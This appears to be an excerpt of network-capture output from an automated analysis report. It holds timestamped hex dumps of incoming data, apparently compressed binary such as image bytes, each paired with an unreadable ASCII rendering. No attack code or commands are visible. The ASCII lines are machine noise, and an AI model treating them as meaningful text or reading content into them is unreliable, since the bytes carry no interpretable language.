5 7d fe 64 6e df 3d 5b 8d 46 ae 98 
Data Ascii: OGT#<O(Z<^k<_=gLbh5jpyON-EK8"xVV.<MSe:K,~_WvG~[^$rC;yq}z2J.dU^4o?5)[R,?}Jb>W>MOk&zD)_\G$
~|}dn=[F
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2021-11-25 16:28:56 UTC 2987 IN Data Raw: a5 e5 c7 24 92 47 1c 1f f4 cf fd da b7 2a d1 56 4e e5 c9 fb 35 bd af e7 a2 3b 6f 86 b2 69 fa 4e ab 25 8e b5 3c 8f
e1 cd 4a d2 4b 79 a0 8f e4 78 65 6e 63 97 f0 6a c5 d7 35 4b 9b 39 24 b1 93 f7 fe 57 fc f3 fb 9b ab 0e 4d 73 cd f3 26 fb 23 
ef b8 7f 25 3f 7f f7 36 d5 79 35 65 b7 8f cc ba 8e 74 75 fb ff 00 c7 be b8 bd 8c e5 35 39 bd 7b 0f 78 a8 4c b5 71 75 6d 75 
24 92 34 7b e2 f9 77 c7 27 df 45 ac 96 85 ae 2c 64 92 ce 4d f2 c5 ba 64 ff 00 77 ff 00 ad 5d 05 d4 76 cd 63 f6 8b 7f df bc 
a8 c9 ff 00 8e d7 1f 6f a8 5f 69 72 7d 9f ec 92 24 5f 34 2f 24 9f c1 b9 6b d1 a2 d4 93 39 ea 42 5c c9 24 cd ed 36 1b cb c8 
fc e8 e7 8e 0d c8 bf eb 13 7e f6 f6 1d 2b ac b1 b7 b9 be 93 fd 66 f9 76 7c ff 00 c1 f7 6b 8f d0 75 46 b7 b5 92 ce e3 f7 12 db 
fc e9 e6 7c ff 00 4a d8 d3 6f 9a 
Data Ascii: $G*VN5;oiN%<JKyxencj5K9$WMs&#%?6y5etu59{xLqumu$4{w'E,dMdw]vco_ir}$_4/$k9B\$6~+fv|kuF|Jo

2021-11-25 16:28:56 UTC 3003 IN Data Raw: cb 83 f2 14 69 77 0d 79 69 e6 49 1c 90 79 5b 5d e4 ff 00 7b b5 57 d0 e1 bc b3 83 6d af 96 f6 eb f7 fc cf be ff 00 
4a de b3 b8 b6 b7 8e 79 26 8f 7f fd 33 fe fd 63 39 2a 71 e5 82 b9 52 97 33 d3 ef 1b fd 9b 6a 90 7c b1 c7 b3 7e f4 f9 3e 7a 
e5 f5 a6 96 f2 3f 3a 4f 92 2d fb 11 37 fc 95 d2 5d 5f 45 e5 fe ef f8 9f e4 ac f8 fc 3f 15 e4 92 46 bf 23 b3 ef ff 00 81 55 d1 9b 
8f c6 55 9f 35 d9 96 cd 14 53 c7 ba 4f 92 df 6f ee e3 7f ef 2d 65 dd 5c 7f ab f2 fc b7 f2 bf db fb ed 5d 52 f8 4e c7 cc 8d ae 
a3 93 ed 11 7f cb 4d ff 00 f8 ee 2a e4 7e 0b d1 6d 7c b8 fe c9 1b c5 f7 d3 cc 76 fe 2a e8 8e 2a 9c 1e ba 9d 10 8c 60 93 6f 
46 73 7e 1f be 8a de 7f 27 c8 d9 14 a9 b3 cb df b3 e6 f5 a9 b5 85 82 e3 4a fd dc 7e 7c 57 1f 23 f9 7f 3f ca dd 6b a2 87 c3 
ba 55 9f ef ac f4 d8 11 d7 
Data Ascii: iwyiIy[]{WmJy&3c9*qR3j|~>z?:O-7]_E?F#UU5SOo-e\]RNM*~m|v**`oFs~'J~|W#?kU

2021-11-25 16:28:56 UTC 3011 IN Data Raw: f4 fd 2b 3d 6d e5 bc b5 93 c9 93 64 ae fb 13 cc fb 8f 58 dd 5d dc c6 5a ae 56 b4 7f 99 a0 d7 50 49 e4 5b cd 3f 
91 13 ee 7f b9 bd 3e 6f 7a 24 5d b1 dc 43 e5 c7 75 e6 fc e9 3c 7f 7d 3e 5a 8d 74 d8 ae 24 f2 5b cc 44 89 3f b9 fe 15 0d c5 
9c b6 16 b1 cc df 3d a6 cf fc 7b 75 5c 3d ed 62 3e 5b f5 d5 74 2b db e9 72 b4 91 c9 e5 fd d7 f9 2a d4 d2 2d ad 8d dc 9f dd 
fb f5 62 ea e9 74 db 1f 3b cf fd eb 26 c8 63 8f fd af fe b5 66 de 5a b5 c5 8c 8b e6 6c 96 5f b9 5a 4b 5d 59 76 f6 8a f7 d7 fc 
87 2d c4 f1 49 e4 c9 f7 d9 2a 4f f8 f7 f9 a4 8f 7f c9 fe af ee 55 cb e5 65 ba b0 6b 78 24 9e 5d 8a 9e 5f fc 07 e6 aa b6 f6 bf 6
a 8e 38 e6 92 3d ed 36 c7 83 f8 d1 7b 52 95 9b 32 9c 79 6e 3a ce 45 ba 8e 4b 86 8e 48 1d 7e ff 00 99 fe cd 43 67 78 d7 fa 
e7 d9 6d 7e 7f 9d 61 4f 9e a4 85 
Data Ascii: +=mdX]ZVPI[?>oz$]Cu<}>Zt$[D?={u\=b>[t+r*-bt;&cfZl_ZK]Yv-I*OUekx$]_j8=6{R2yn:EKH~Cgxm~aO

2021-11-25 16:28:56 UTC 3027 IN Data Raw: 9f 7c be 7e e8 e0 d9 bb fe 59 ce 9b fe 5a eb bc 61 a6 c0 de 20 d5 b5 0d 42 ee e9 ef af 3c b7 b8 8e 44 57 d8 db 
7f 87 15 e7 fa a6 a5 66 ba c4 1e 65 fc 1f 67 d9 fe b2 0f bf b5 7f ad 75 53 ab 1c 4c 5c 94 4e ab 72 bb 6c 76 d7 da e5 8f 86 
74 d9 f5 26 f3 1d ee 36 db a4 10 7d c4 65 e3 e6 ae 67 52 be 97 52 f1 35 a4 96 29 1d ad a4 a8 c9 34 91 fd c7 6d bf d6 b7 
ac 7c 33 66 d6 32 5d 7d be 44 89 bf 7c 90 5d 6d d9 bb 6f f5 aa 3e 1f d1 ee 7c 55 a9 69 b1 d9 ea 5a 6b ea 1f 67 67 bb b5 
9d 3e 78 59 3f 89 71 fc 35 9d 1f 67 08 ca 4f ef 3a 55 a0 93 72 bb 66 86 ad 0d b4 5e 1b bb 9a df fe 3e 15 17 f7 92 4f ff 00 
a0 d7 9f db d9 dc fe e2 f3 fd 7d bf 9d e4 bc 7f 7f 66 ea bd e3 cd 07 5a d0 6e a0 b7 d5 a7 8d e5 5b 4f f5 90 7f cf 2f ef 56 b6 
9f 79 17 89 a3 d5 a4 9b e4 b8 f2 61 7f 32 
Data Ascii: |~YZa B<DWfeguSL\Nrlvt&6}egRR5)4m|3f2]}D|]mo>|UiZkgg>xY?q5gO:Urf^>O}fZn[O/Vya2

2021-11-25 16:28:56 UTC 3043 IN Data Raw: ba fd f8 24 f9 d1 1b ff 00 af 56 34 d5 9e d6 fa 7b 3b 78 e3 9e ed 76 ff 00 b6 9f 35 6a 5c 79 51 41 22 ac 72 6f 67 
6f de 47 fc 0c be b5 18 8c 64 ea 3e 5b 68 47 3d 4b f3 3d 0a 72 78 1f 4f f1 1e b1 1d e5 d4 72 3e d7 df e5 ff 00 03 b5 74 9a 
a5 bc ff 00 d9 b1 fd aa d2 3d 91 6e 9b f7 6f 5c fe 83 e2 66 97 54 93 6f c9 6f b1 7f 83 e4 dc bc 57 71 0d e4 5a 85 af ef 2c 27 
b5 8a 54 ff 00 96 89 f3 be df 41 5e 35 69 d5 8b 8f 3a bc 51 e9 c2 ee ca 47 9f f8 7e dd ad ef a4 b8 58 23 9e de e2 df f7 d6 
b2 7c ff 00 a5 61 ea de 07 f0 d6 b9 7d 77 34 71 c9 63 14 4f b3 f7 7f 72 ba 2d 53 47 d7 34 1d 56 79 16 49 2e b4 a9 7f 8e d7 
e7 74 89 bd 40 f4 ac 9f 04 f8 a2 cd bc 79 77 63 a8 24 97 ba 3b 27 ef a3 fb 89 bb 6b 6d e2 bd 38 73 ca f5 21 2d 57 62 65 75 
35 49 2d 0e 5f 54 f8 73 3e 83 7d 
Data Ascii: $V4{;xv5j\yQA"rogoGd>[hG=K=rxOr>t=no\fTooWqZ,'TA^5i:QG~X#|a}w4qcOr-SG4VyI.t@ywc$;'km8s!-Wbeu5I-
_Ts>}

2021-11-25 16:28:56 UTC 3051 IN Data Raw: 5b c2 ba 15 8f d9 24 fb 3b 5f 34 d7 1e 5b ab be e6 e3 91 5d 65 9e a9 6d a5 c9 26 92 d2 4f b3 c9 57 87 cf fb 93 
33 7f bb 53 88 8b a8 ae b7 fd 05 56 2a 9a 57 5a 13 5b cd 67 fd a5 77 63 6f 77 04 f7 16 09 1f da e4 f3 fe e3 37 cb 8c d5 ab 
78 f7 47 24 33 49 23 ca df f2 d2 0a e5 66 bc 8b c4 7a 6c f6 36 7a 6c 76 ba dd d4 df e9 1e 5f dc 99 62 f9 86 7f da ae da ce 
f1 6d ed 6d 23 5f 22 d5 fc 9d 93 49 b1 91 de 5f 63 de bc ea a9 c5 28 f5 62 8a 8a 9a 95 ca 7a a5 d4 fa 1e 87 77 7d 6f 69 25 
ed df 93 1a 5b c1 22 33 a7 de f9 b7 2f b2 d7 a4 78 5f e2 27 8a b4 38 e0 93 4d d5 ae ac b4 fd 8a e9 05 d7 fa 42 6d 55 e5 
95 1a bc ff 00 ce fb 3d ac 97 97 17 72 5a da 5b f9 9b 23 d8 db dd bf e7 9e 3d ea 4d 3e f1 6f 2c 64 68 63 8e d5 ee 2d ff 00 
d5 ef 6f 93 77 6a c5 d3 9a 8a 94 1d 9f 73 
Data Ascii: [$;_4[]em&OW3SV*WZ[gwcow7xG$3I#fzl6zlv_bmm#_"I_c(bzw}oi%["3/x_'8MBmU=rZ[#=M>o,dhc-owjs

2021-11-25 16:28:56 UTC 3067 IN Data Raw: f5 a2 76 e8 37 bd c8 d6 1f dd ee a8 da 36 96 3f 96 78 e4 ff 00 ae 89 f7 29 df 6e db 3e d8 64 91 25 5f f6 ea 19 
2e 15 a3 9e 45 93 cf 75 fb ff 00 c0 ff 00 85 34 9b 34 8b d5 c8 9a 46 f2 a3 dc b1 ef 4f fa 67 4d 6d be 47 cd fe d7 c9 fc 75 1a 
b7 9b 26 d5 fe 2a af e5 aa c1 bb fe 7a fc fe 65 11 fc 48 72 b1 32 dc 34 51 f9 9f ee d5 79 b5 0b 9f 2f e5 f9 3f ed 9d 0d 0b 5b 
c7 1c 9f de fb f4 6e 59 7e 59 3f 8a aa d7 77 27 9a fb 21 be 74 b6 f3 ee f3 37 c4 c9 b3 cb fe 0f ad 4d 1c 9b 7f 79 fb bd ed f7 
2a 16 66 f2 e3 db f7 1b e4 7f ee 53 56 14 f3 24 55 f9 3f b9 f3 d5 19 7b ab 71 cb bd a4 93 74 92 79 5b d7 f7 7f ed 53 96 4d 
b2 49 ba 7d f5 5f cc db 23 ab 7d ff 00 97 f7 95 32 ed f9 e1 86 3d 9f f4 d2 86 ec 55 d4 56 8c 93 73 2c fe 4c 91 fc 8b bb 65 
46 bf bd fd e7 99 27 cd f7 ea 
Data Ascii: v76?x)n>d%_.Eu44FOgMmGu&*zeHr24Qy/?[nY~Y?w'!t7My*fSV$U?{qty[SMI}_#}2=UVs,LeF'

2021-11-25 16:28:56 UTC 3083 IN Data Raw: 67 fc 1f 5a 6c d6 fe 67 ef 3c cf 91 6a 54 57 5d 85 dd d8 bc b2 6e f3 19 a3 91 d1 be 4a af 24 93 ac 89 b7 ee 7d 
cf 2e ab db ff 00 af db e6 7f 95 ab 4c cb f7 7f 78 e9 f2 bf fc 0a 89 47 95 8f e2 44 8b 32 ac 9b a3 93 e7 fb 94 dd df ea d9 bc 
bf bf fe ae 9a d6 ff 00 bb ff 00 57 27 df a7 46 d1 2f ca de 66 ff 00 fa 69 f7 13 e9 51 e8 4f 37 de 46 b7 1b bc cf 2f cb fb ff 00 
f2 d2 a4 8d 5f cb 93 74 9f 7e 8f 99 7c bd b2 7c 95 24 8b b6 3f 9b ee 35 3b f4 40 e3 75 7e 84 32 79 4d 24 8a b2 6c ff 00 a6 
72 7f b5 45 9e e5 f3 36 fd ca 74 8b ba 3f f5 fb 37 6d ff 00 96 7b ea 48 e3 96 29 36 af ce 9b 37 f9 f1 d6 97 b2 b1 4e dc a4 8b
36 ef f5 91 fc ff 00 ee 53 77 33 49 b7 f8 2a 45 6d df 33 49 bf 6f fc b3 a7 2b 79 9f 2a d6 04 7c 28 86 4f 9b ef 79 8e 9f dc fe 
0a 8e 35 66 ff 00 9e 75 
Data Ascii: gZlg<jTW]nJ$}.LxGD2W'F/fiQO7F/_t~||$?5;@u~2yM$lrE6t?7m{H)67N6Sw3I*Em3Io+y*|(Oy5fu

2021-11-25 16:28:56 UTC 3091 IN Data Raw: 7d 2e 8c 54 75 6a 41 35 d3 7e f3 6c 7b 3e 7f 93 cb a2 3f 96 4f 96 9b 33 45 fc 3f df ff 00 57 42 aa af cc bf 7e 9b 
b5 ae 6d cc a5 74 95 86 dc 2c ad 27 99 e5 fc 9f f4 ce 9b b5 bc cd df 7d da a4 fb 56 ca 6f da 22 5f 32 46 a6 af 62 5b b4 47 
7c cf f2 fd c7 a6 aa b4 54 d9 a4 db f2 af dc 6a 6c 92 2f ee da 3f ee 6f f3 3f 82 8d 7a 0f 9e e8 77 da 96 39 fc 9f b9 bb e7 44 
93 fb df 5a 77 da 15 a3 ff 00 57 b2 9b bb 77 97 fc 7f c6 94 db 75 89 a4 ff 00 57 f2 7f 1d 2d 11 0e 5c da 22 6f 39 7e eb 53 
56 e1 bc b8 ff 00 be ee db d3 ef a2 53 bc b5 5f f9 69 fe c5 3a 4b 58 a1 8f 72 c9 4a 3b 8b e1 b3 61 f6 89 57 e5 59 23 fe fb d
4 8d b9 bc bf 2e 48 f6 7f 1f c9 f3 d5 1f 2f 6f 96 b1 c7 f7 aa 68 f7 7f df 35 72 56 45 5e ce e8 b5 37 cd 1e df 33 e4 fe 3a 85 61
fd de d8 e9 cd 22 b4 7f f2 
Data Ascii: }.TujA5~l{>?O3E?WB~mt,'}Vo"_2Fb[G|Tjl/?o?zw9DZwWwuW-\"o9~SVS_i:KXrJ;aWY#.H/oh5rVE^73:a"

2021-11-25 16:28:56 UTC 3107 IN Data Raw: bb e5 fd e6 cf bf 55 e4 8e d9 63 92 49 a4 8e 04 58 5a 67 92 4f e0 fc 6a be 9f ad 5a 6a da 6d a5 f5 9c fb ed ee 
1d 92 19 23 fe 36 46 c3 63 d7 15 e4 ff 00 b5 47 c4 4b cf 01 fc 39 b4 d3 74 d9 f4 d8 35 5d 7a 6d 97 10 5f 7d f7 b3 56 e7 6f 
d5 be 5a aa d3 54 a3 79 02 bc 9a 8f 53 b4 f0 ae ad 17 8e bc 17 a6 eb 50 c7 1a 4b 74 8c 93 47 fd c9 51 b6 3f eb 57 a4 d2 
ff 00 7f b5 7c c8 df fe 99 d7 97 fe cf bf 12 2c f5 c9 ef fc 17 a7 d8 46 9f 60 49 35 44 92 d5 d5 d2 18 a5 c3 79 4f 8f e3 dd ba 
bd 5a c7 c7 1a 1d d7 8d 35 6f 0a c7 3e cf 10 69 76 eb 71 35 ae cf bf 13 28 fd e0 ff 00 be ab 7e 6b db 97 a8 aa 2e 91 4c 6f 
f6 5c ff 00 c3 f7 2a 6f ec 99 5b cc 56 ff 00 bf 9f df ad 46 91 7c cf 2d 7e 47 6f 9f fb f5 4f 5e d7 20 d0 7c 3f 7f a9 34 72 5d 7d 
95 37 f9 11 fd f7 6f ee a8 ee d4 
Data Ascii: UcIXZgOjZjm#6FcGK9t5]zm_}VoZTySPKtGQ?W|,F`I5DyOZ5o>ivq5(~k.Lo\*o[VF|-~GoO^ |?4r]}7o

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:28:56 UTC 3123 IN Data Raw: 27 26 e4 f5 f4 3d 73 4d d5 ae 75 2d 4b 5d d3 56 fe d3 64 4f 1e ff 00 31 37 bb b2 f6 ae a3 58 8d ae 2f b4 9f b7 
78 79 f5 1b 7b 39 77 db eb 88 f1 bf d9 b7 46 55 b7 46 df 37 7e d5 e0 3e 17 d6 16 cf c5 da eb 7d be 38 25 64 8e e2 19 e3 
46 f9 db f1 f4 15 ee da 2e b1 f6 88 37 5c 6a 50 27 9b 6f e7 7d f5 47 da bd c7 fb 35 f3 f5 a9 d4 c2 54 52 a7 a2 7f 21 4a 3c 
ab 54 76 5e 19 f1 54 fa 0e 9b a4 da db d8 7f 68 e9 96 76 8b 68 9f bf 6f 37 6a fd df bd de ba 0b 5f 88 50 35 d5 a2 dc 69 b7 
56 5a 7b 24 89 34 92 23 3d c2 4b fc 1d 3e 5d be b5 e1 f7 5f 1d b4 3b 18 f5 95 d3 d2 c6 f6 ea de 15 9a df e7 6f 36 66 5e d1 
76 dd fe f5 75 97 5e 38 fe d2 d3 74 5d 42 e2 d2 eb 48 4d 52 c7 7d bf db be fc db 7e f3 b6 d1 b7 75 7b 94 33 ac e3 0d 15 cf 
ac 5e d7 dc e4 fa 8e 1a b3 ba 8d 9f a9 e9 
Data Ascii: '&=sMu-K]VdO17X/xy{9wFUF7~>}8%dF.7\jP'o}G5TR!J<Tv^Thvho7j_P5iVZ{$4#=K>]_;o6f^vu^8t]BHMR}~u{3^

2021-11-25 16:28:56 UTC 3130 IN Data Raw: 9a 3a 47 33 fd 95 9b e5 3b d7 a8 35 e7 3f 05 d7 50 f8 95 f1 0b 4d f0 ef 9f 62 f1 4a fe 74 d0 6b 09 f2 3c 48 d9 31
a2 1f e2 db fc 35 d5 46 56 a7 cf 08 ab 2f eb 4d 0f 42 58 fa b6 49 ed eb fe 47 ac 37 8a bc 2f e0 6f 0f c9 7d f0 8e 7f 15 40 ff 
00 eb 9f fe 27 17 36 91 3f cd fc 31 21 da cb 8f 9a bd 2b 55 f8 cd 7d ad fc 05 d4 bc 45 e2 2d 66 3f 15 ea bf 67 fb 3d a7 db 
ad 56 5f b2 de 33 7c 99 d8 9f c2 3e 6d c6 bc c7 c6 57 d0 7d 96 0d 6a 6d 4a eb 57 8b 54 b8 92 df 43 b4 f0 76 9d b1 2d bc 
a9 3c b6 8e 7d d8 ce 17 a2 d7 a8 68 b2 78 8f 41 f0 e7 99 a0 e9 36 29 69 15 be fb bb 1b a4 6b 7b b7 97 d6 58 90 14 af 1f 
1b 8a 5c 8b 9e 2a d7 ef fe 65 4a b4 ea c7 91 ec 79 9e a9 f1 13 c5 fe 0f 93 4d bc f1 17 89 7f e1 2b b7 b8 b4 68 5e 7f 0f df 6f
d8 ae bd 33 f7 43 7e b5 b1 e0 3f 01 
Data Ascii: :G3;5?PMbJtk<H15FV/MBXIG7/o}@'6?1!+U}E-f?g=V_3|>mW}jmJWTCv-<}hxA6)ik{X\*eJyM+h^o3C~?

2021-11-25 16:28:56 UTC 3146 IN Data Raw: 78 ae 64 fe ff 00 b8 50 9d 2b ea b4 32 63 f0 9d 8d e5 d7 f6 a7 f6 d4 89 a7 fc ae fa 3c 76 b1 a2 6e 5e bb 2b cf fe 
25 2f 88 fc 7d 1f 93 a4 da 49 75 65 6b b7 64 f2 6d 44 75 f4 f9 bd 2b ae d5 2e 22 b3 d4 a7 9a df ec b0 24 bf 27 ee 1d be 7f 
f6 b0 d9 da df 4a e1 db 56 96 e2 34 ff 00 59 07 95 f7 23 93 ee 7b d7 a5 46 b7 35 45 56 9a db 6b ad 8e 7e 6a 73 93 71 8e 
88 cf f0 4f 80 7c 55 a2 f8 9a d2 fb 52 b4 d3 74 e8 a2 f3 11 e3 ba 9e 39 62 da eb b5 be 5c e6 ba ef 12 78 6f 41 d7 ad 76 ea 
90 58 ff 00 69 b3 ec b1 be d2 ae 95 21 45 5e 8b 2c 18 f9 6b 91 8f 5c b6 5d 72 d2 df 5c ff 00 4d d3 13 ef c7 6a eb e6 ed ff 
00 78 f7 ae cb 47 d4 be 1f 5e 4f 7f 6b fb c9 f4 f9 5d 51 3f b6 20 64 95 15 bf da 87 f8 eb d1 94 b1 17 55 2b 2f 9a 44 47 9a 6e
db 7f 5e a1 26 93 05 be ab 60 da a5 
Data Ascii: xdP+2c<vn^+%/}IuekdmDu+."$'JV4Y#{F5EVk~jsqO|URt9b\xoAvXi!E^,k\]r\MjxG^Ok]Q? dU+/DGn^&`

2021-11-25 16:28:56 UTC 3162 IN Data Raw: e4 7b 29 cb 1e d8 fc ef 33 7e ef f9 67 fd ca 85 ae 15 6e b6 b7 fb 3f ea e8 9a 6d d1 c8 be 67 de a9 d6 f6 23 96 
eb 55 a1 24 33 7e f3 77 f7 7f d8 a2 3d ad 1c 8c bf f7 f2 a3 db 2d 9c 91 b4 90 7f df cf b9 45 c4 9f 63 8d 16 38 f7 fe fb fe 59 ff
00 06 ea 7c aa f6 45 5d 6c 89 24 55 b8 f9 57 e4 dc 9f f7 dd 49 e5 cb f7 64 92 3f 37 e5 44 8e 9a ca d7 12 47 1f ef 1d f6 6f 7f
93 fb b5 0c 72 2d c7 cd e5 ec 8b 67 fc b4 ff 00 0a 57 69 f9 09 cb 9a 2c 74 6a cb 23 b7 df 89 fe ff 00 fb 74 ed ac 93 ce de 66
c7 67 f9 23 fe 0d b5 34 30 ab 41 1c 71 c7 bf ca f9 13 fd da 74 6a be 64 6a df 27 fd 34 8e b4 73 76 b3 14 5d b6 1b e5 ac 5e 
5e ef 91 11 36 55 85 b7 96 e2 48 d6 38 fc f9 7f e7 9c 75 6a 1b 75 6f 95 64 8d 25 df f2 57 9d fc 46 f1 a6 a0 b3 ff 00 62 f8 6e 
39 27 74 ff 00 8f bd 56 
Data Ascii: {)3~gn?mg#U$3~w=-Ec8Y|E]l$UWId?7DGor-gWi,tj#tfg#40Aqtjdj'4sv]^^6UH8ujuod%WFbn9'tV

2021-11-25 16:28:56 UTC 3170 IN Data Raw: 78 65 e8 c7 fc 6b d9 c2 c6 71 9a 9c a3 ab 1e 8d 27 25 a9 cb ac 32 d9 d8 da 6a 4d 3c 6f 6f 12 6c 48 3c ff 00 de 
fa 9f 96 b0 e1 f0 ee ab af 47 7f 71 a3 e9 3a 96 a3 65 6b fe 91 34 f0 41 f2 22 ee c6 e6 fc 6b d8 3e 1a f8 06 db 5c b1 b0 8e 
6b 49 34 1f 16 c5 69 f6 eb 7f ed 57 58 b4 fd 5a 04 93 e5 64 67 f9 95 bb 7a 35 7a 6d c7 8f b5 2f 84 1e 22 f1 27 8b 35 e9 e7 
81 7c 41 34 9a 73 f8 57 4e b5 8f ec 9e 43 ae 44 9e 6a fc bf 79 68 ab 8d 8d 19 ca 10 57 97 45 df fa ee 74 c3 0e 9b e6 99 f3 
26 87 e1 3b eb ad 62 0d 3e ea dd 2c ae 3c d9 21 49 2f be 44 f3 d5 7f d5 1f 7a f6 4f 81 3a 0f 8c 62 f1 54 9a d5 f6 bb ff 00 
08 a6 ef f8 97 27 99 6a b3 7c dd 98 2c 80 e3 fd ea ee ad 7c 3f 7d f1 22 38 f5 eb e8 24 f0 f7 9b 71 f6 ed 3a d6 d7 6d c7 ef 
df 1b a6 db f7 b7 9c 56 c7 c4 6d 7b 4c 
Data Ascii: xekq'%2jM<oolH<Gq:ek4A"k>\kI4iWXZdgz5zm/"'5|A4sWNCDjyhWEt&;b>,<!I/DzO:bT'j|,|?}"8$q:mVm{L

2021-11-25 16:28:56 UTC 3186 IN Data Raw: 3d 9a 5f 32 4f 32 3d 91 6c ff 00 96 6f 42 cd 14 b1 c8 b1 c9 27 9b b2 9f b3 b2 b9 a2 8b 46 84 97 0d 2f 97 fd ff 00 
9b 7f f4 a1 64 5f bb e6 6f aa 70 fc b1 ee 93 ee 7d ff 00 33 fa 54 cb fe ae 45 f3 3e 76 ff 00 96 9f dc ac db 49 58 ce 51 71 95 
a3 b1 32 dc 6e 93 6a ff 00 0d 3a 16 fb 47 97 1b 6c 4f bd fe b2 ab c7 23 af ee fe fc 5b ff 00 f1 ea 6a b2 b4 9b 5b e4 7d ff 00 
f2 d1 ea 39 6f e8 55 f5 b3 2e 5a c7 2d fc 9e 5c 32 6f fe 37 92 34 fb 8b de b0 db e2 97 84 1a eb ec f3 5d dd 22 7d af ec fe 7
c 10 7f e8 5f ec d6 96 a9 6f 3e ad e1 9f 12 db da c7 fe 90 da 74 8f 0f f0 3f cb d6 be 3b 87 5a ff 00 8a 66 4d 41 ad 27 82 1f 
39 a1 49 d1 f6 6c 64 f7 af 90 ce ab 4a 72 54 62 ed df fa 4c f7 70 34 54 af 36 b5 47 d7 5a a5 e3 5c 5d 49 35 ac ff 00 e8 ff 00 
72 17 8f e4 74 ae 7e f2 
Data Ascii: =_2O2=loB'F/d_op}3TE>vIXQq2nj:GlO#[j[}9oU.Z-\2o74]"}|_o>t?;ZfMA'9IldJrTbLp4T6GZ\]I5rt~

2021-11-25 16:28:56 UTC 3202 IN Data Raw: 3c ef 25 f4 7f 3f ed 12 db 2f b3 2f de ad fd a5 84 a9 c2 4f 99 17 3c 37 a0 c5 e2 df 0c dd e9 ab 3c 7a 5f db ee 16 
19 be dc 93 ef 45 5e ff 00 2f f0 ee f5 a2 b5 2f b5 0d 72 eb 55 82 ce f2 7d 9a 7a fe fb 4e f3 11 62 95 e2 5e 16 36 da 37 51 
5c ca 52 5a de d7 1b 71 8b b4 96 a7 69 a1 c7 6d a0 e9 57 7a 83 5d c1 aa 45 b3 7d 8d f5 ad d3 45 e4 fc df ea d9 47 de fc 
6b 99 f1 76 a9 69 75 6b 05 d4 96 16 af a7 de 3b 3f 91 02 7c 90 ee ea 70 3e eb 57 a8 6b 1f 0f 74 7b 5d 2a 4b af 0b fd 96 1d
ce a8 f0 49 07 fc 7c c5 f4 e9 9a e5 7c 75 a0 e9 1a 1e 95 f6 ab 5d 4a 7f b4 4a 9f 67 b8 8e 3d af 12 6e 5c f1 fd c3 5f 1b 1a 
91 9d 5e 7e bf 71 c7 88 a3 cb 74 a4 9b 67 82 ea d0 c1 75 aa 7f c4 a7 ed 57 48 a8 be 75 af cb bd 3d f8 ae db e1 be a9 aa 
ff 00 66 c1 79 e1 fb b8 34 ed 62 de 6d 93 
Data Ascii: <%?//O<7<z_E^//rU}zNb^67Q\RZqimWz]E}EGkviuk;?|p>Wkt{]*KI||u]JJg=n\_^~qtguWHu=fy4bm

2021-11-25 16:28:56 UTC 3210 IN Data Raw: ce 82 44 7d ff 00 eb 3c cf 91 eb 07 49 f1 a6 9f e1 9f 13 5d eb 53 6b ba 54 fa 7d ae 92 d0 dc 69 b7 57 df 67 77 
9d 7f 78 9e bd 7e ed 7a 37 c2 3f 88 9e 1c f8 b1 e0 b8 fc 45 a5 f9 9a 5d a3 4d e4 cd 6b a9 4e bf b9 97 d3 7f f7 6a 73 1c db 
1d 4a f1 a5 15 64 7b b9 4e 4f 96 ca 82 fa ca 6a 7d 53 39 9b cf 09 df 45 63 24 d1 df c9 a7 26 f5 87 ed 50 3e c7 4d d5 56 c7 
e1 ed 8e 93 1c ea d7 7a 95 d3 b2 34 3e 7c f7 5b d1 d5 bf 01 5e a1 ab 5d 69 5a 4d f4 fa 7e a5 ad 69 ba 74 ab b7 7c 73 ce 
a9 bf 77 dd ac fd 63 43 b6 ba b5 f9 67 b5 7b 45 7d 9e 66 ff 00 93 77 5e 79 af 8e ad 8f c4 57 93 9d 58 df e4 7d 86 1f 01 95 
d1 5c b4 52 fb ee 79 ac 76 2b e0 bb ed 36 eb 45 8e 04 ff 00 59 e6 f9 8e c8 96 df 2f de c1 eb ef cd 7c 37 e3 ed 1e c6 5f 11 
6b 37 d6 b7 72 5e d9 7d ae 4f df fd c7 99 
Data Ascii: D}<I]SkT}iWgwx~z7?E]MkNjsJd{NOj}S9Ec$&P>MVz4>|[^]iZM~it|swcCg{E}fw^yWX}\Ryv+6EY/|7_k7r^}O

2021-11-25 16:28:56 UTC 3226 IN Data Raw: 73 a1 df 79 96 f3 c9 02 37 c8 f1 c6 fb 3e 5a d4 d5 35 6d 31 20 ff 00 43 b0 d9 2b 7c ff 00 6a df f3 ee ae 69 29 a7 
64 af e6 73 b8 d9 b5 6b 9b 5a 7c 6d a6 c9 ba 1f 21 3f eb be ef dc ff 00 b5 f9 d7 b7 78 0e fa e7 fe 11 19 2f ae ae e4 9f ed 
13 2f da e7 44 fd ce e5 e1 1b 35 f3 8e 92 d7 3a a5 d7 96 b3 bd d4 b2 ed 44 82 3f e3 fc fd 6b ea 0f 06 ea 17 3f 0b 7c 3f 69 
ab 5e 5a 5a e9 1a 7a cd b2 fb 4a be 7d f1 4c ac d8 c6 3f 8d eb e6 73 88 3f 66 a0 f5 93 63 f6 73 92 b3 34 2c 75 a8 35 68 e7 
fb 1d ff 00 da ad d5 d6 17 fe 04 f3 6a f6 b1 67 f6 3d 72 ee cf cc 82 eb 45 8a 28 7c ab ad fb 12 66 75 cb ab 29 fe e9 f9 6b 
6b 50 f0 2d 9c 56 37 7a a4 7a 9d 8c 1a 3f ca ef 63 1a 4f f6 8b 68 9b fd ac 6d e2 b9 f8 f4 3b 39 6f ac 35 2d 4a 77 d2 e2 fb 0
c cf a5 da df 7c 9f da 1b 58 2f 9a 
Data Ascii: sy7>Z5m1 C+|ji)dskZ|m!?x//D5:D?k?|?i^ZZzJ}L?s?fcs4,u5hjg=rE(|fu)kkP-V7zz?cOhm;9o5-Jw|X/

2021-11-25 16:28:56 UTC 3242 IN Data Raw: e5 e4 bc fd ff 00 da 3e d7 bd d5 fe 7f 2d fe 7f bb 5e a9 f0 6e 4b cb fd 62 7d 4a de 48 ed 6e 22 87 65 c4 72 4f b1 
e6 55 ea 7f ef 9a f1 fb af 0d ea 76 13 cf 1c 96 92 7f a3 fe fa 6f 2d 37 f9 2a df de ae 93 47 d4 ae 62 8e 48 5a 09 13 4c 77 df 
34 9b 1b e7 6d b8 c6 7f 86 a6 b2 52 85 e9 b3 8a aa 97 c3 b3 d8 fa 5b 4b d5 17 51 d2 bf d7 c7 75 2c 5b a6 f3 e4 f9 3c e5 
66 1b 73 5a 11 b3 5b be d9 23 de ea eb be 48 fe 7a f1 bd 17 5e b9 f0 d6 a5 fb bf 92 ca ea d1 91 23 92 7f 9d 37 2e df ca b5 
